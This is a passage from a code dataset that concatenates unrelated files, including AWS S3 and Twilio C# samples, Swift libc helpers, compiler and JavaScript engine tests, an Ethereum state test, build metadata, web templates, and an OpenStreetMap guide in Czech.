GPL-3.0-or-later\n#\n\ninclude(CMakeFindDependencyMacro)\n\nset(target_deps \"@TARGET_DEPENDENCIES@\")\nforeach(dep IN LISTS target_deps)\n find_package(${dep})\nendforeach()\ninclude(\"${CMAKE_CURRENT_LIST_DIR}/@TARGET@Targets.cmake\")\n"} +{"text": "Description:\n Upgrades previously installed Dres Rails resources.\n\nExample:\n rails generate dres_rails:upgrade\n\n This will create:\n what/will/it/create\n"} +{"text": "// Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\r\n// SPDX-License-Identifier: MIT-0 (For details, see https://github.com/awsdocs/amazon-s3-developer-guide/blob/master/LICENSE-SAMPLECODE.)\r\n\r\nusing Amazon.S3;\r\nusing Amazon.S3.Model;\r\nusing System;\r\nusing System.Collections.Generic;\r\nusing System.Threading.Tasks;\r\n\r\nnamespace Amazon.DocSamples.S3\r\n{\r\n class ManageACLsTest\r\n {\r\n private const string bucketName = \"*** existing bucket name ***\";\r\n private const string newBucketName = \"*** new bucket name ***\";\r\n private const string keyName = \"*** object key name ***\"; \r\n private const string emailAddress = \"*** email address ***\";\r\n // Specify your bucket region (an example region is shown).\r\n private static readonly RegionEndpoint bucketRegion = RegionEndpoint.USWest2;\r\n private static IAmazonS3 client;\r\n\r\n public static void Main()\r\n {\r\n client = new AmazonS3Client(bucketRegion);\r\n TestBucketObjectACLsAsync().Wait();\r\n }\r\n\r\n private static async Task TestBucketObjectACLsAsync()\r\n {\r\n try\r\n {\r\n // Add a bucket (specify canned ACL).\r\n await CreateBucketWithCannedACLAsync();\r\n\r\n // Get the ACL on a bucket.\r\n await GetBucketACLAsync(bucketName);\r\n\r\n // Add (replace) the ACL on an object in a bucket.\r\n await AddACLToExistingObjectAsync(bucketName, keyName);\r\n }\r\n catch (AmazonS3Exception amazonS3Exception)\r\n {\r\n Console.WriteLine(\"An AmazonS3Exception was thrown. Exception: \" + amazonS3Exception.ToString());\r\n }\r\n catch (Exception e)\r\n {\r\n Console.WriteLine(\"Exception: \" + e.ToString());\r\n }\r\n }\r\n\r\n static async Task CreateBucketWithCannedACLAsync()\r\n {\r\n var request = new PutBucketRequest()\r\n {\r\n BucketName = newBucketName,\r\n BucketRegion = S3Region.EUW1, \r\n // Add a canned ACL.\r\n CannedACL = S3CannedACL.LogDeliveryWrite\r\n };\r\n var response = await client.PutBucketAsync(request);\r\n }\r\n\r\n static async Task GetBucketACLAsync(string bucketName)\r\n {\r\n GetACLResponse response = await client.GetACLAsync(new GetACLRequest\r\n {\r\n BucketName = bucketName\r\n });\r\n S3AccessControlList accessControlList = response.AccessControlList;\r\n }\r\n\r\n static async Task AddACLToExistingObjectAsync(string bucketName, string keyName)\r\n {\r\n // Retrieve the ACL for an object.\r\n GetACLResponse aclResponse = await client.GetACLAsync(new GetACLRequest\r\n {\r\n BucketName = bucketName,\r\n Key = keyName\r\n });\r\n\r\n S3AccessControlList acl = aclResponse.AccessControlList;\r\n\r\n // Retrieve the owner.\r\n Owner owner = acl.Owner;\r\n\r\n // Clear existing grants.\r\n acl.Grants.Clear();\r\n\r\n // Add a grant to reset the owner's full permission \r\n // (the previous clear statement removed all permissions).\r\n S3Grant fullControlGrant = new S3Grant\r\n {\r\n Grantee = new S3Grantee { CanonicalUser = acl.Owner.Id }\r\n };\r\n acl.AddGrant(fullControlGrant.Grantee, S3Permission.FULL_CONTROL);\r\n\r\n // Specify email to identify grantee for granting permissions.\r\n S3Grant grantUsingEmail = new S3Grant\r\n {\r\n Grantee = new S3Grantee { EmailAddress = emailAddress },\r\n Permission = S3Permission.WRITE_ACP\r\n };\r\n\r\n // Specify log delivery group as grantee. \r\n S3Grant grantLogDeliveryGroup = new S3Grant\r\n {\r\n Grantee = new S3Grantee { URI = \"http://acs.amazonaws.com/groups/s3/LogDelivery\" },\r\n Permission = S3Permission.WRITE\r\n };\r\n\r\n // Create a new ACL.\r\n S3AccessControlList newAcl = new S3AccessControlList\r\n {\r\n Grants = new List { grantUsingEmail, grantLogDeliveryGroup },\r\n Owner = owner\r\n };\r\n\r\n // Set the new ACL.\r\n PutACLResponse response = await client.PutACLAsync(new PutACLRequest\r\n {\r\n BucketName = bucketName,\r\n Key = keyName,\r\n AccessControlList = newAcl\r\n });\r\n }\r\n }\r\n}\r\n"} +{"text": "//===--- SwiftPrivateLibcExtras.swift -------------------------------------===//\n//\n// This source file is part of the Swift.org open source project\n//\n// Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n// Licensed under Apache License v2.0 with Runtime Library Exception\n//\n// See https://swift.org/LICENSE.txt for license information\n// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors\n//\n//===----------------------------------------------------------------------===//\n\nimport SwiftPrivate\n#if os(OSX) || os(iOS) || os(watchOS) || os(tvOS)\nimport Darwin\n#elseif os(Linux) || os(FreeBSD) || os(PS4) || os(Android) || CYGWIN\nimport Glibc\n#elseif os(Windows)\nimport ucrt\n#endif\n\n#if !os(Windows) || CYGWIN\npublic func _stdlib_mkstemps(_ template: inout String, _ suffixlen: CInt) -> CInt {\n#if os(Android)\n preconditionFailure(\"mkstemps doesn't work on Android\")\n#else\n var utf8CStr = template.utf8CString\n let (fd, fileName) = utf8CStr.withUnsafeMutableBufferPointer {\n (utf8CStr) -> (CInt, String) in\n let fd = mkstemps(utf8CStr.baseAddress!, suffixlen)\n let fileName = String(cString: utf8CStr.baseAddress!)\n return (fd, fileName)\n }\n template = fileName\n return fd\n#endif\n}\n#endif\n\npublic var _stdlib_FD_SETSIZE: CInt {\n return 1024\n}\n\npublic struct _stdlib_fd_set {\n var _data: [UInt]\n static var _wordBits: Int {\n return MemoryLayout.size * 8\n }\n\n public init() {\n _data = [UInt](\n repeating: 0,\n count: Int(_stdlib_FD_SETSIZE) / _stdlib_fd_set._wordBits)\n }\n\n public func isset(_ fd: CInt) -> Bool {\n let fdInt = Int(fd)\n return (\n _data[fdInt / _stdlib_fd_set._wordBits] &\n UInt(1 << (fdInt % _stdlib_fd_set._wordBits))\n ) != 0\n }\n\n public mutating func set(_ fd: CInt) {\n let fdInt = Int(fd)\n _data[fdInt / _stdlib_fd_set._wordBits] |=\n UInt(1 << (fdInt % _stdlib_fd_set._wordBits))\n }\n\n public mutating func clear(_ fd: CInt) {\n let fdInt = Int(fd)\n _data[fdInt / _stdlib_fd_set._wordBits] &=\n ~UInt(1 << (fdInt % _stdlib_fd_set._wordBits))\n }\n\n public mutating func zero() {\n let count = _data.count\n return _data.withUnsafeMutableBufferPointer {\n (_data) in\n for i in 0..?\n) -> CInt {\n return readfds._data.withUnsafeMutableBufferPointer {\n (readfds) in\n writefds._data.withUnsafeMutableBufferPointer {\n (writefds) in\n errorfds._data.withUnsafeMutableBufferPointer {\n (errorfds) in\n let readAddr = readfds.baseAddress\n let writeAddr = writefds.baseAddress\n let errorAddr = errorfds.baseAddress\n#if CYGWIN\n typealias fd_set = _types_fd_set\n#endif\n func asFdSetPtr(\n _ p: UnsafeMutablePointer?\n ) -> UnsafeMutablePointer? {\n return UnsafeMutableRawPointer(p)?\n .assumingMemoryBound(to: fd_set.self)\n }\n return select(\n _stdlib_FD_SETSIZE,\n asFdSetPtr(readAddr),\n asFdSetPtr(writeAddr),\n asFdSetPtr(errorAddr),\n timeout)\n }\n }\n }\n}\n#endif\n\n\n/// Swift-y wrapper around pipe(2)\npublic func _stdlib_pipe() -> (readEnd: CInt, writeEnd: CInt, error: CInt) {\n var fds: [CInt] = [0, 0]\n let ret = fds.withUnsafeMutableBufferPointer { unsafeFds -> CInt in\n#if !os(Windows) || CYGWIN\n return pipe(unsafeFds.baseAddress)\n#else\n return _pipe(unsafeFds.baseAddress, 0, 0)\n#endif\n }\n return (readEnd: fds[0], writeEnd: fds[1], error: ret)\n}\n\n\n//\n// Functions missing in `Darwin` module.\n//\npublic func _WSTATUS(_ status: CInt) -> CInt {\n return status & 0x7f\n}\n\npublic var _WSTOPPED: CInt {\n return 0x7f\n}\n\npublic func WIFEXITED(_ status: CInt) -> Bool {\n return _WSTATUS(status) == 0\n}\n\npublic func WIFSIGNALED(_ status: CInt) -> Bool {\n return _WSTATUS(status) != _WSTOPPED && _WSTATUS(status) != 0\n}\n\npublic func WEXITSTATUS(_ status: CInt) -> CInt {\n return (status >> 8) & 0xff\n}\n\npublic func WTERMSIG(_ status: CInt) -> CInt {\n return _WSTATUS(status)\n}\n"} +{"text": "BDEPEND=virtual/pkgconfig >=app-portage/elt-patches-20170815 || ( >=sys-devel/automake-1.16.1:1.16 >=sys-devel/automake-1.15.1:1.15 ) >=sys-devel/autoconf-2.69 >=sys-devel/libtool-2.4\nDEFINED_PHASES=compile configure install prepare\nDEPEND=net-libs/libsrtp:= alsa? ( media-libs/alsa-lib ) amr? ( media-libs/opencore-amr ) ffmpeg? ( media-video/ffmpeg:= ) g729? ( media-libs/bcg729 ) gsm? ( media-sound/gsm ) ilbc? ( media-libs/libilbc ) openh264? ( media-libs/openh264 ) opus? ( media-libs/opus ) portaudio? ( media-libs/portaudio ) resample? ( media-libs/libsamplerate ) sdl? ( media-libs/libsdl ) speex? ( media-libs/speex media-libs/speexdsp ) ssl? ( !libressl? ( dev-libs/openssl:0= ) libressl? ( dev-libs/libressl:0= ) )\nDESCRIPTION=Open source SIP, Media, and NAT Traversal Library\nEAPI=7\nHOMEPAGE=https://www.pjsip.org/\nIUSE=amr debug epoll examples ipv6 libressl opus resample silk ssl static-libs webrtc g711 g722 g7221 gsm ilbc speex l16 g729 sdl ffmpeg v4l2 openh264 libyuv alsa portaudio\nKEYWORDS=~amd64 ~arm ~arm64 ~ppc ~ppc64 ~x86\nLICENSE=GPL-2\nRDEPEND=net-libs/libsrtp:= alsa? ( media-libs/alsa-lib ) amr? ( media-libs/opencore-amr ) ffmpeg? ( media-video/ffmpeg:= ) g729? ( media-libs/bcg729 ) gsm? ( media-sound/gsm ) ilbc? ( media-libs/libilbc ) openh264? ( media-libs/openh264 ) opus? ( media-libs/opus ) portaudio? ( media-libs/portaudio ) resample? ( media-libs/libsamplerate ) sdl? ( media-libs/libsdl ) speex? ( media-libs/speex media-libs/speexdsp ) ssl? ( !libressl? ( dev-libs/openssl:0= ) libressl? ( dev-libs/libressl:0= ) )\nSLOT=0\nSRC_URI=https://www.pjsip.org/release/2.9/pjproject-2.9.tar.bz2\n_eclasses_=autotools\t7d999b62b8749fad43fff00620cedf47\tedos2unix\t33e347e171066657f91f8b0c72ec8773\teutils\t2d5b3f4b315094768576b6799e4f926e\tflag-o-matic\t09a8beb8e6a8e02dc1e1bd83ac353741\tl10n\t8cdd85e169b835d518bc2fd59f780d8e\tlibtool\tf143db5a74ccd9ca28c1234deffede96\tmultilib\t98584e405e2b0264d37e8f728327fed1\ttoolchain-funcs\t605c126bed8d87e4378d5ff1645330cb\twrapper\t4251d4c84c25f59094fd557e0063a974\n_md5_=cd08b20185ddac9c1159ead74092baec\n"} +{"text": "{% call macros.panel(\"info\", \"Step 3 - Pick some features\") %}\n

    Mailu comes with multiple base features, including a specific admin\ninterface, Web email clients, antispam, antivirus, etc.\nIn this section you can enable the services to you liking.

    \n\n\n

    A Webmail is a Web interface exposing an email client. Mailu webmails are\nbound to the internal IMAP and SMTP server for users to access their mailbox through\nthe Web. By exposing a complex application such as a Webmail, you should be aware of\nthe security implications caused by such an increase of attack surface.

    \n

    \n \n
    \n \n

    \n
    \n \n
    \n
    \n\n\n
    \n \n\n An antivirus server helps fighting large scale virus spreading campaigns that leverage\n e-mail for initial infection. Make sure that you have at least 1GB of memory for ClamAV to\n load its signature database.\n
    \n\n\n
    \n \n\n A Webdav server exposes a Dav interface over HTTP so that clients can store\n contacts or calendars using the mail account.\n
    \n\n\n
    \n \n\n Fetchmail allows users to retrieve mail from an external mail-server via IMAP/POP3 and puts it in their inbox.\n
    \n\n\n\n\n\n{% endcall %}\n"} +{"text": "// RUN: %clang_cc1 -std=c++11 -fsyntax-only -verify %s\nextern void f1(int *);\nextern void f2(char *);\n\nstruct __attribute__((packed)) Arguable {\n int x;\n char c;\n static void foo();\n};\n\nextern void f3(void());\n\nnamespace Foo {\nstruct __attribute__((packed)) Arguable {\n char c;\n int x;\n static void foo();\n};\n}\n\nstruct Arguable *get_arguable();\n\nvoid f4(int &);\n\nvoid to_void(void *);\n\ntemplate \nvoid sink(T...);\n\nvoid g0() {\n {\n Foo::Arguable arguable;\n f1(&arguable.x); // expected-warning {{packed member 'x' of class or structure 'Foo::Arguable'}}\n f2(&arguable.c); // no-warning\n f3(&arguable.foo); // no-warning\n\n to_void(&arguable.x); // no-warning\n void *p1 = &arguable.x; // no-warning\n void *p2 = static_cast(&arguable.x); // no-warning\n void *p3 = reinterpret_cast(&arguable.x); // no-warning\n void *p4 = (void *)&arguable.x; // no-warning\n sink(p1, p2, p3, p4);\n }\n {\n Arguable arguable1;\n Arguable &arguable(arguable1);\n f1(&arguable.x); // expected-warning {{packed member 'x' of class or structure 'Arguable'}}\n f2(&arguable.c); // no-warning\n f3(&arguable.foo); // no-warning\n }\n {\n Arguable *arguable1;\n Arguable *&arguable(arguable1);\n f1(&arguable->x); // expected-warning {{packed member 'x' of class or structure 'Arguable'}}\n f2(&arguable->c); // no-warning\n f3(&arguable->foo); // no-warning\n }\n}\n\nstruct __attribute__((packed)) A {\n int x;\n char c;\n\n int *f0() {\n return &this->x; // expected-warning {{packed member 'x' of class or structure 'A'}}\n }\n\n int *g0() {\n return &x; // expected-warning {{packed member 'x' of class or structure 'A'}}\n }\n\n char *h0() {\n return &c; // no-warning\n }\n};\n\nstruct B : A {\n int *f1() {\n return &this->x; // expected-warning {{packed member 'x' of class or structure 'A'}}\n }\n\n int *g1() {\n return &x; // expected-warning {{packed member 'x' of class or structure 'A'}}\n }\n\n char *h1() {\n return &c; // no-warning\n }\n};\n\ntemplate \nclass __attribute__((packed)) S {\n Ty X;\n\npublic:\n const Ty *get() const {\n return &X; // expected-warning {{packed member 'X' of class or structure 'S'}}\n // expected-warning@-1 {{packed member 'X' of class or structure 'S'}}\n }\n};\n\ntemplate \nvoid h(Ty *);\n\nvoid g1() {\n S s1;\n s1.get(); // expected-note {{in instantiation of member function 'S::get'}}\n\n S s2;\n s2.get();\n\n S s3;\n s3.get(); // expected-note {{in instantiation of member function 'S::get'}}\n}\n\n// PR35509\ntypedef long L1;\nstruct Incomplete;\nstruct S2 {\n L1 d;\n Incomplete *e() const;\n} __attribute__((packed));\nIncomplete *S2::e() const { return (Incomplete *)&d; } // no-warning\n"} +{"text": "{\n \"CALLCODESha256_3_prefix0\" : {\n \"_info\" : {\n \"comment\" : \"\",\n \"filledwith\" : \"testeth 1.6.0-alpha.0-11+commit.978e68d2\",\n \"lllcversion\" : \"Version: 0.5.0-develop.2018.11.9+commit.9709dfe0.Linux.g++\",\n \"source\" : \"src/GeneralStateTestsFiller/stPreCompiledContracts2/CALLCODESha256_3_prefix0Filler.json\",\n \"sourceHash\" : \"2b7b6ad3d15a48737549d16d6cd067f10d141fe321cf2745df8a5255eddf5cb6\"\n },\n \"env\" : {\n \"currentCoinbase\" : \"0x2adc25665018aa1fe0e6bc666dac8fc2697ff9ba\",\n \"currentDifficulty\" : \"0x20000\",\n \"currentGasLimit\" : \"0x989680\",\n \"currentNumber\" : \"0x01\",\n \"currentTimestamp\" : \"0x03e8\",\n \"previousHash\" : \"0x5e20a0453cecd065ea59c37ac63e079ee08998b6045136a8ce6635c7912ec0b6\"\n },\n \"post\" : {\n \"Byzantium\" : [\n {\n \"hash\" : \"0xa79606bbb30cf8de0ab7b06067977d7bbad98b7c548553d218900cac28848e0b\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ],\n \"Constantinople\" : [\n {\n \"hash\" : \"0xa79606bbb30cf8de0ab7b06067977d7bbad98b7c548553d218900cac28848e0b\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ],\n \"ConstantinopleFix\" : [\n {\n \"hash\" : \"0xa79606bbb30cf8de0ab7b06067977d7bbad98b7c548553d218900cac28848e0b\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ],\n \"EIP150\" : [\n {\n \"hash\" : \"0xa79606bbb30cf8de0ab7b06067977d7bbad98b7c548553d218900cac28848e0b\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ],\n \"EIP158\" : [\n {\n \"hash\" : \"0xa79606bbb30cf8de0ab7b06067977d7bbad98b7c548553d218900cac28848e0b\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ],\n \"Frontier\" : [\n {\n \"hash\" : \"0x4b62d72a804ebb03621302972172df1f34ac8224be07cf3168484eab1ceb46f5\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ],\n \"Homestead\" : [\n {\n \"hash\" : \"0x4b62d72a804ebb03621302972172df1f34ac8224be07cf3168484eab1ceb46f5\",\n \"indexes\" : {\n \"data\" : 0,\n \"gas\" : 0,\n \"value\" : 0\n },\n \"logs\" : \"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347\"\n }\n ]\n },\n \"pre\" : {\n \"0x095e7baea6a6c7c4c2dfeb977efac326af552d87\" : {\n \"balance\" : \"0x01312d00\",\n \"code\" : \"0x64f34578907f6000526020600060256000600060026101f4f2600255600051600055\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n },\n \"0xa94f5374fce5edbc8e2a8697c15331677e6ebf0b\" : {\n \"balance\" : \"0x0de0b6b3a7640000\",\n \"code\" : \"\",\n \"nonce\" : \"0x00\",\n \"storage\" : {\n }\n }\n },\n \"transaction\" : {\n \"data\" : [\n \"0x\"\n ],\n \"gasLimit\" : [\n \"0x0592a8\"\n ],\n \"gasPrice\" : \"0x01\",\n \"nonce\" : \"0x00\",\n \"secretKey\" : \"0x45a915e4d060149eb4365960e6a7a45f334393093061116b197e3240065ff2d8\",\n \"to\" : \"0x095e7baea6a6c7c4c2dfeb977efac326af552d87\",\n \"value\" : [\n \"0x0186a0\"\n ]\n }\n }\n}"} +{"text": "int u300_gpio_config_get(struct gpio_chip *chip,\n\t\t\t unsigned offset,\n\t\t\t unsigned long *config);\nint u300_gpio_config_set(struct gpio_chip *chip, unsigned offset,\n\t\t\t enum pin_config_param param);\n"} +{"text": "// Download the twilio-csharp library from twilio.com/docs/libraries/csharp\nusing System;\nusing Twilio;\nusing Twilio.Rest.Api.V2010.Account;\n\nclass Example\n{\n static void Main(string[] args)\n {\n // Find your Account Sid and Auth Token at twilio.com/console\n const string accountSid = \"ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\";\n const string authToken = \"your_auth_token\";\n TwilioClient.Init(accountSid, authToken);\n\n var conferences = ConferenceResource.Read(\n status: ConferenceResource.StatusEnum.InProgress,\n friendlyName: \"MyRoom\");\n\n foreach (var conference in conferences)\n {\n Console.WriteLine(conference.Status);\n }\n }\n}\n"} +{"text": "---\nlayout: doc\npermalink: /cs/beginner/\nlang: cs\ntitle: Příručka pro začátečníky\ncategory: beginner\ncover: yes\nnosearch: true\n---\n\nPříručka pro začátečníky\n================\n\n> Kontrolováno 2015-07-12 \n\nTento návod vám krok za krokem ukáže, jak začít s OpenStreetMap. Naučíte se jak si založit účet, jak používat základní programy na editování, a nakonec se naučíte, jak vyrazit ven a shromažďovat informace, které je třeba umístit na mapu. \n\n### Jste nováček v OpenStreetMap a chcete vylepšit mapu přidáním dat?\n\nPokud chcete začít a pak editovat mapová data, doporučujeme vám přečíst tyto příručky:\n- [Úvod](/cs/beginner/introduction/) vám poskytne informace o projektu\n- [Začínáme](/cs/beginner/start-osm/) vám ukáže, jak získat účet a jak spustit editor\n- v [iD editoru](/cs/beginner/id-editor/) se naučíte základy úpravy dat\n\n\n### Už víte, jak používat editor a chcete přispívat k mapování humanitární pomoci?\n\nHlavním bodem je zjistit, jak je mapování v tomto kontextu koordinováno.\n- [remote mapping guide](/cs/coordination/HOT-Remote-Response-Guide/) a obecné informace o mapování [humanitární pomoci](/cs/coordination/humanitarian/) poskytne nějaké základní informace\n- silným pomocníkem je [Tasking Manager](/cs/coordination/tasking-manager3 /), s jehož pracovním postupem byste se měli seznámit\n\n### Chcete používat OpenStreetMap v mobilních zařízeních?\n\nK dispozici je celá kapitola věnovaná [mobilnímu mapování](/cs/mobile-mapping/)\n\n\n### Jste obeznámeni s nástroji GIS a chcete získat přístup k surovým datům?\n\nPokyny [kde získat data](/cs/osm-data/getting-data/) a [jak používat Geofabrik a HOT Export](/cs/osm-data/geofabrik-and-hot-export/) mohou poskytnout některé ukazatele, jak extrahovat data v různých formátech z databáze OSM."} +{"text": "ieee754/soft-fp\n"} +{"text": "// Copyright JS Foundation and other contributors, http://js.foundation\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\nvar id_0 = Object.prototype.toString ; \nObject.prototype.toString = function ( ) { return \"SHIFTED\" } ; \nRegExp ( '#1: __str = new String({}); typeof __str === \"object\". Actual: typeof __str ===');\n"} +{"text": "// White box tests of invalidation crossbar matching function.\n// Note: the current crossbar match function is designed specifically\n// to ensure that a modification that targets a specific ID does not\n// notify a query that is watching a different specific ID. (And to\n// keep separate collections separate.) Other than that, there's no\n// deep meaning to the matching function, and it could be changed later\n// as long as it preserves that property.\nTinytest.add('livedata - crossbar', function (test) {\n var crossbar = new DDPServer._Crossbar;\n test.isTrue(crossbar._matches({collection: \"C\"},\n {collection: \"C\"}));\n test.isTrue(crossbar._matches({collection: \"C\", id: \"X\"},\n {collection: \"C\"}));\n test.isTrue(crossbar._matches({collection: \"C\"},\n {collection: \"C\", id: \"X\"}));\n test.isTrue(crossbar._matches({collection: \"C\", id: \"X\"},\n {collection: \"C\"}));\n\n test.isFalse(crossbar._matches({collection: \"C\", id: \"X\"},\n {collection: \"C\", id: \"Y\"}));\n\n // Test that stopped listens definitely don't fire.\n var calledFirst = false;\n var calledSecond = false;\n var trigger = {collection: \"C\"};\n var secondHandle;\n crossbar.listen(trigger, function (notification) {\n // This test assumes that listeners will be called in the order\n // registered. It's not wrong for the crossbar to do something different,\n // but the test won't be valid in that case, so make it fail so we notice.\n calledFirst = true;\n if (calledSecond) {\n test.fail({\n type: \"test_assumption_failed\",\n message: \"test assumed that listeners would be called in the order registered\"\n });\n } else {\n secondHandle.stop();\n }\n });\n secondHandle = crossbar.listen(trigger, function (notification) {\n // This should not get invoked, because it should be stopped by the other\n // listener!\n calledSecond = true;\n });\n crossbar.fire(trigger);\n test.isTrue(calledFirst);\n test.isFalse(calledSecond);\n});\n"} +{"text": "\n 42\n Settings\n 0\n 417.000000000\n 67.000000000\n\n\n 2\n UPDATE\n 1\n\n\n 2\n RENDER\n 1\n\n\n 2\n PRIMARY CURSOR NONE\n 0\n\n\n 2\n PRIMARY CURSOR INACTIVE\n 0\n\n\n 2\n PRIMARY CURSOR CAMERA\n 0\n\n\n 2\n PRIMARY CURSOR DRAW\n 0\n\n\n 2\n SEC. CURSORS NONE\n 0\n\n\n 2\n SEC. CURSORS INACTIVE\n 0\n\n\n 2\n SEC. CURSORS CAMERA\n 0\n\n\n 2\n SEC. CURSORS DRAW\n 0\n\n"} +{"text": "/* vim: set softtabstop=2 shiftwidth=2 expandtab : */\n\nconst Q = require(\"q\");\n\nvar setUp = false;\nconst loadingDefered = Q.defer();\n\nexport const loaded = loadingDefered.promise;\n\nwindow['vueGoogleMapsInit'] = () => {\n loadingDefered.resolve();\n}\n\n/**\n * @param apiKey API Key, or object with the URL parameters. For example\n * to use Google Maps Premium API, pass \n * `{ client: }`.\n * You may pass the libraries and/or version (as `v`) parameter into\n * this parameter and skip the next two parameters\n * @param version Google for Maps version\n * @param libraries Libraries to load (@see \n * https://developers.google.com/maps/documentation/javascript/libraries)\n * @param loadCn Boolean. If set to true, the map will be loaded form goole maps China\n * (@see https://developers.google.com/maps/documentation/javascript/basics#GoogleMapsChina)\n *\n * Example:\n * ```\n * import {load} from 'vue-google-maps'\n *\n * load()\n *\n * load({\n * key: ,\n * })\n *\n * load({\n * client: ,\n * channel: \n * })\n * ```\n */\nexport const load = (apiKey, version, libraries, loadCn) => {\n if (!setUp) {\n const googleMapScript = document.createElement('SCRIPT');\n\n // Allow apiKey to be an object.\n // This is to support more esoteric means of loading Google Maps,\n // such as Google for business\n // https://developers.google.com/maps/documentation/javascript/get-api-key#premium-auth\n var options = {};\n if (typeof apiKey == 'string') {\n options.key = apiKey;\n }\n else if (typeof apiKey == 'object') {\n for (let k in apiKey) { // transfer values in apiKey to options\n options[k] = apiKey[k];\n }\n }\n else {\n throw new Error('apiKey should either be a string or an object');\n }\n\n // libraries\n let librariesPath = \"\";\n if (libraries && libraries.length > 0) {\n librariesPath = libraries.join(',');\n options['libraries'] = librariesPath;\n }\n else if (Array.prototype.isPrototypeOf(options.libraries)) {\n options.libraries = options.libraries.join(',');\n }\n options['callback'] = 'vueGoogleMapsInit';\n \n let baseUrl = 'https://maps.googleapis.com/';\n\n if (typeof loadCn == 'boolean' && loadCn === true) {\n baseUrl = 'http://maps.google.cn/';\n } \n\n let url = baseUrl + 'maps/api/js?' + \n Object.keys(options)\n .map((key) => encodeURIComponent(key) + '=' + encodeURIComponent(options[key]))\n .join('&');\n \n if (version) {\n url = url + '&v=' + version;\n }\n\n googleMapScript.setAttribute('src', url);\n googleMapScript.setAttribute('async', '');\n googleMapScript.setAttribute('defer', '');\n document.body.appendChild(googleMapScript);\n } else {\n throw new Error('You already started the loading of google maps');\n }\n}\n\n"} +{"text": "From d337fd0622f7e151692d5efccd89a10e7f6b18af Mon Sep 17 00:00:00 2001\nFrom: Michael Vines \nDate: Fri, 25 Aug 2017 17:05:21 -0700\nSubject: [PATCH] Remove libsigchain dependency\n\n---\n services/surfaceflinger/Android.mk | 3 +--\n 1 file changed, 1 insertion(+), 2 deletions(-)\n\ndiff --git a/services/surfaceflinger/Android.mk b/services/surfaceflinger/Android.mk\nindex ffda035a9..0908ca262 100644\n--- a/services/surfaceflinger/Android.mk\n+++ b/services/surfaceflinger/Android.mk\n@@ -154,7 +154,7 @@ include $(CLEAR_VARS)\n \n LOCAL_CLANG := true\n \n-LOCAL_LDFLAGS := -Wl,--version-script,art/sigchainlib/version-script.txt -Wl,--export-dynamic\n+LOCAL_LDFLAGS := -Wl,--export-dynamic\n LOCAL_CFLAGS := -DLOG_TAG=\\\"SurfaceFlinger\\\"\n LOCAL_CPPFLAGS := -std=c++14\n \n@@ -179,7 +179,6 @@ LOCAL_SHARED_LIBRARIES := \\\n libutils \\\n libdl\n \n-LOCAL_WHOLE_STATIC_LIBRARIES := libsigchain\n \n LOCAL_MODULE := surfaceflinger\n \n-- \n2.11.0\n\n"} +{"text": "'use strict';\nangular.module(\"ngLocale\", [], [\"$provide\", function($provide) {\nvar PLURAL_CATEGORY = {ZERO: \"zero\", ONE: \"one\", TWO: \"two\", FEW: \"few\", MANY: \"many\", OTHER: \"other\"};\nfunction getDecimals(n) {\n n = n + '';\n var i = n.indexOf('.');\n return (i == -1) ? 0 : n.length - i - 1;\n}\n\nfunction getVF(n, opt_precision) {\n var v = opt_precision;\n\n if (undefined === v) {\n v = Math.min(getDecimals(n), 3);\n }\n\n var base = Math.pow(10, v);\n var f = ((n * base) | 0) % base;\n return {v: v, f: f};\n}\n\n$provide.value(\"$locale\", {\n \"DATETIME_FORMATS\": {\n \"AMPMS\": [\n \"AM\",\n \"PM\"\n ],\n \"DAY\": [\n \"Cawe\",\n \"Mvulo\",\n \"Lwesibini\",\n \"Lwesithathu\",\n \"Lwesine\",\n \"Lwesihlanu\",\n \"Mgqibelo\"\n ],\n \"MONTH\": [\n \"Janyuwari\",\n \"Februwari\",\n \"Matshi\",\n \"Epreli\",\n \"Meyi\",\n \"Juni\",\n \"Julayi\",\n \"Agasti\",\n \"Septemba\",\n \"Okthoba\",\n \"Novemba\",\n \"Disemba\"\n ],\n \"SHORTDAY\": [\n \"Caw\",\n \"Mvu\",\n \"Bin\",\n \"Tha\",\n \"Sin\",\n \"Hla\",\n \"Mgq\"\n ],\n \"SHORTMONTH\": [\n \"Jan\",\n \"Feb\",\n \"Mat\",\n \"Epr\",\n \"Mey\",\n \"Jun\",\n \"Jul\",\n \"Aga\",\n \"Sep\",\n \"Okt\",\n \"Nov\",\n \"Dis\"\n ],\n \"fullDate\": \"y MMMM d, EEEE\",\n \"longDate\": \"y MMMM d\",\n \"medium\": \"y MMM d HH:mm:ss\",\n \"mediumDate\": \"y MMM d\",\n \"mediumTime\": \"HH:mm:ss\",\n 